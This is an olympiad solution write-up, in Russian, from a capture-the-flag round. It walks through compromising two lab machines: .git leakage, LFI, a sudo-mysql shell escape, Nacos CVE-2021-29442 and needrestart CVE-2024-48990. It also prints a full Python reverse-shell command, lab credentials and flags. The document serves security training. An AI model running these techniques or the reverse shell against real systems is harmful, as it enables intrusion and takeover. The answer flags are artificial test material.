УНИВЕРСИТЕТ ИННОПОЛИС

INNOPOLIS OPEN

Международная олимпиада «Innopolis Open» по профилю «Информационная безопасность»

Материалы заданий второго отборочного этапа олимпиады

2024-2025

Второй отборочный этап

Для второго отборочного этапа для каждой команды было подготовлено по 2 виртуальные машины.

Задача заключалась в том, чтобы получить права доступа user и root, найти флаги и написать отчет о проделанной работе.

Особенности этапа:

На каждой виртуальной машине два уровня сложности, которые можно получить только последовательно:

1) получение доступа пользователя (user);

2) получение доступа суперпользователя (root).

Флаги хранились в текстовых файлах или в другой критической информации (логины, пароли) для каждого уровня.

Флаги сдавались через клиентский интерфейс на сайте второго отборочного этапа. Машины с заданиями можно было перезагружать, но не чаще, чем раз в 10 минут, при этом лимит на команду при перезагрузке - 1 раз в 3 минуты.

Рейтинг рассчитывался по следующей формуле: $PTS=Flag.PTS-(timeElapsed\times Flag.Multiplier)$.

У каждого флага есть начальная базовая стоимость (например, 1000 для user и 2000 для root), а также есть уменьшающий коэффициент (например, 3). Каждую минуту стоимость задания снижается на этот самый коэффициент. Таким образом, если команда сдавала user спустя 20 минут, то получается 1000 - 3*20 = 940 PTS

Если очки получаются отрицательными, они устанавливаются в 0. Очки зависели и от сложности задания и времени выполнения. Доступ к root оценивался выше, чем доступ к user.

Машина (1)

Шаг 1. Сканирование целевой машины

1. Сканирование портов с помощью Nmap

Шаг 1. Сканирование целевой машины

Сканирование портов с помощью Nmap

Для поиска открытых портов и сервисов на целевой машине выполняем команду:

```
nmap -sV -p- <ip>
```

Это даст полное представление о доступных сервисах и их версиях.

Доступные порты:

- 80 и 3000 - web
- 3306 - mysql
- 22 - ssh

2. Поиск скрытых директорий с помощью Gobuster

Для поиска скрытых директорий и файлов на веб-сервере выполняем команду:

```
gobuster dir -u http://<ip> -w /path/to/wordlist.txt
```

Это позволит обнаружить дополнительные ресурсы, которые могут содержать уязвимости.

Шаг 2. Получение начального доступа

1. Доступ через директорию `.git`

Для скачивания содержимого директории .git, используем команду:

```
wget -r --no-parent http://<ip>/.git/
```

2. Поиск файлов с исходным кодом

После скачивания файлов переходим в директорию `.git` и выполняем команду для поиска файлов:

```
cd <ip>/.git && git ls-files
```

Обратите внимание на файлы `site/app.js` и `site/config.js`.

3. Анализ уязвимости в файле `site/app.js`

В файле `site/app.js` ищем маршрут `/profile`, который может содержать уязвимость LocalFileInclude (LFI). Это может быть точкой входа для атаки.

4. Эксплуатация уязвимости LFI (опциональный шаг, т.к. config.js аналогичен тому, что лежит в git'e)

Для эксплуатации уязвимости в маршруте `/profile` запрашиваем файл `config.js`:

```
http://<ip>/profile?page=config.js
```

Это раскрывает учетные данные для доступа к серверу MySQL.

5. Подключение к MySQL

Для подключения к серверу MySQL с учетными данными (пользователь: `server`, пароль: `MQciiX0d4ErnXyO`), выполняем команду:

```
mysql -u server -p -h <ip>
```

6. Просмотр баз данных и таблиц

В MySQL выполняем команды для просмотра баз данных и таблиц:

```
show databases; use mysql; show tables;
```

Шаг 3. Доступ пользователя

1. Поиск нестандартной таблицы `user_backup_local`

В базе данных ищем таблицу `user_backup_local` и извлекаем ее содержимое:

```
select * from user_backup_local;
```

2. Получение пароля для SSH-пользователя

Извлекаем пароль для SSH-пользователя `server` (пароль: `mwG72l3+mK+U`) и выполняем подключение через SSH:

```
ssh server@<ip>
```

3. Получение флага пользователя

После успешного подключения ищем файл `user.txt` и извлекаем флаг:

```
73183461041caa762bffac695c94b21a
```

Шаг 4. Получение root-доступа

1. Проверка прав с помощью команды `sudo`

Находим, что пользователь `server` может запускать команду `mysql` с правами root без пароля. Для этого выполняем команду:

```
sudo -l
```

Вывод покажет, что доступ разрешен:

```
(ALL) NOPASSWD: /usr/bin/mysql
```

2. Получение root-доступа через MySQL

Запускаем MySQL с правами суперпользователя:

```
sudo /usr/bin/mysql
```

После запуска MySQL выполняем команду для получения информации о текущем пользователе:

```
\! id
```

Вывод будет следующим:

```
uid=0(root) gid=0(root) groups=0(root)
```

3. Получение флага root

После получения root-доступа ищем файл `root.txt` и извлекаем флаг:

```
c2674ce0551b76810975d9b8bf0e0e60
```

Машина (2)

Шаг 1. Сканирование целевой машины

1. Сканирование портов с помощью Nmap

Для поиска открытых портов и сервисов на целевой машине выполняем команду:

```
nmap -sV -p- <ip>
```

Это даст полное представление о доступных сервисах и их версиях, включая сервисы, которые могут быть уязвимы.

Доступные порты:

- 8848 - nacos
- 22 - ssh

2. Поиск скрытых директорий с помощью Gobuster

Для поиска скрытых директорий и файлов на веб-сервере выполняем команду:

```
gobuster dir -u http://<ip>:8848 -w /path/to/wordlist.txt
```

Это поможет обнаружить дополнительные ресурсы, которые могут содержать уязвимости.

3. Дополнительное сканирование с использованием Nikto

Для проверки общих уязвимостей веб-сервера используем инструмент Nikto:

```
nikto -h http://<ip>:8848
```

Этот шаг поможет обнаружить потенциальные уязвимости на веб-сервере.

Шаг 2. Получение начального доступа

1. Поиск уязвимого сервиса (nacos)

Целевой сервер доступен по адресу `http://<ip>:8848/`, где работает сервис nacos.

2. Эксплуатация уязвимости CVE-2021-29442

Для получения начального доступа используем эксплойт, представленный в репозитории: https://github.com/vulhub/vulhub/blob/master/nacos/CVE-2021-29442/poc.py.

Запускаем эксплойт для получения доступа и выполнения команды `id`:

```
python3 poc.py -t <ip> -c "id"
```

Шаг 3. Доступ пользователя

1. Запуск обратного шелла

После получения начального доступа, запускаем обратный шелл, чтобы получить доступ к файлу `user.txt`:

```
nc -lvnp 4444 python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
```

2. Получение флага пользователя

После успешного подключения, ищем и извлекаем флаг `user.txt`:

```
c196219c75a9f93c671c46561a2f63ca
```

Шаг 4. Получение root-доступа

1. Проверка прав пользователя с помощью команды `sudo`

Пользователь имеет возможность запускать скрипт `/home/user/text_editor.sh` с правами root. Для проверки выполняем команду:

```
sudo -l
```

Вывод покажет, что пользователь может запускать команды:

```
(root) NOPASSWD: /tmp/poc
user ALL=(ALL) NOPASSWD: /usr/bin/bash /home/user/text_editor.sh
```

Отсюда получаем два варианта получения root доступа, рассмотрим оба:

2. Анализ скрипта `text_editor.sh`

Открываем скрипт `text_editor.sh`, который позволяет установить или удалить текстовые редакторы, такие как `nano`, `vim`, `emacs` и другие. Скрипт выполняется с правами root, если запущен через `sudo`.

Пример содержимого скрипта:

```
#!/bin/bash
PACKAGES=("nano" "micro" "emacs" "joe" "vim")
if [[ EUID -ne 0 ]]; then
    echo "Please, run this script as sudo /usr/bin/bash /home/user/text_editor.sh"
    exit 1
fi
```

```
display_menu() {
    clear
    echo "Select a package to manage:"
    for i in "{!PACKAGES[@]}"; do
echo "{PACKAGES[i]}"
done
echo "0) Exit"
}
install_package() {
local package=1
    clear
    if dpkg -s "package" &> /dev/null; then
echo "package is already installed."
    else
        apt install -y "package"
echo "package installed successfully."
    fi
    read -p "Press Enter to continue..."
}
remove_package() {
    local package=1
clear
if dpkg -s "package" &> /dev/null; then
        apt remove -y "package"
echo "package removed successfully."
    else
        echo "package is not installed."
fi
read -p "Press Enter to continue..."
}
while true; do
display_menu
read -p "Enter your choice (0 to exit): " choice
if [[ choice -eq 0 ]]; then
        clear
```

```
        echo "Exiting. Goodbye!"
        break
    elif [[ choice -le {#PACKAGES[@]} ]]; then
selected_package="{PACKAGES[choice - 1]}"
        clear
        echo "You selected: selected_package"
echo "1) Install selected_package"
        echo "2) Remove selected_package"
echo "0) Go back"
read -p "Enter your choice: " action
case action in
            1) install_package "selected_package" ;;
2) remove_package "$selected_package" ;;
0) echo "Going back to the main menu." ;;
*) echo "Invalid choice. Try again." ;;
esac
else
echo "Invalid choice. Try again."
fi
done
```

3. Эксплуатация уязвимости в пакете `needrestart`

В системе установлена уязвимая версия пакета `needrestart-3.7`, мы можем повысить права используя следующий скрипт для эксплуатации уязвимости CVE-2024-48990: https://github.com/pentestfunctions/CVE-2024-48990-PoC-Testing/blob/main/runner.sh.

После запуска скрипта устанавливаем/удаляем любой текстовый редактор через **text_editor.sh** для триггера уязвимого пакета и получаем root-shell.

4. Получение root-доступа через /tmp/poc

Т.к. файл /tmp/poc не существовал, а УЗ состояла в группе root - можно было записать данный файл, вызвав внутри интрепретатор bash и запустить его, получив root-доступ.

5. Получение флага root

После успешного выполнения эксплойта ищем и извлекаем флаг `root.txt`:

`89b28a8747ea99215b3573cba2005d35`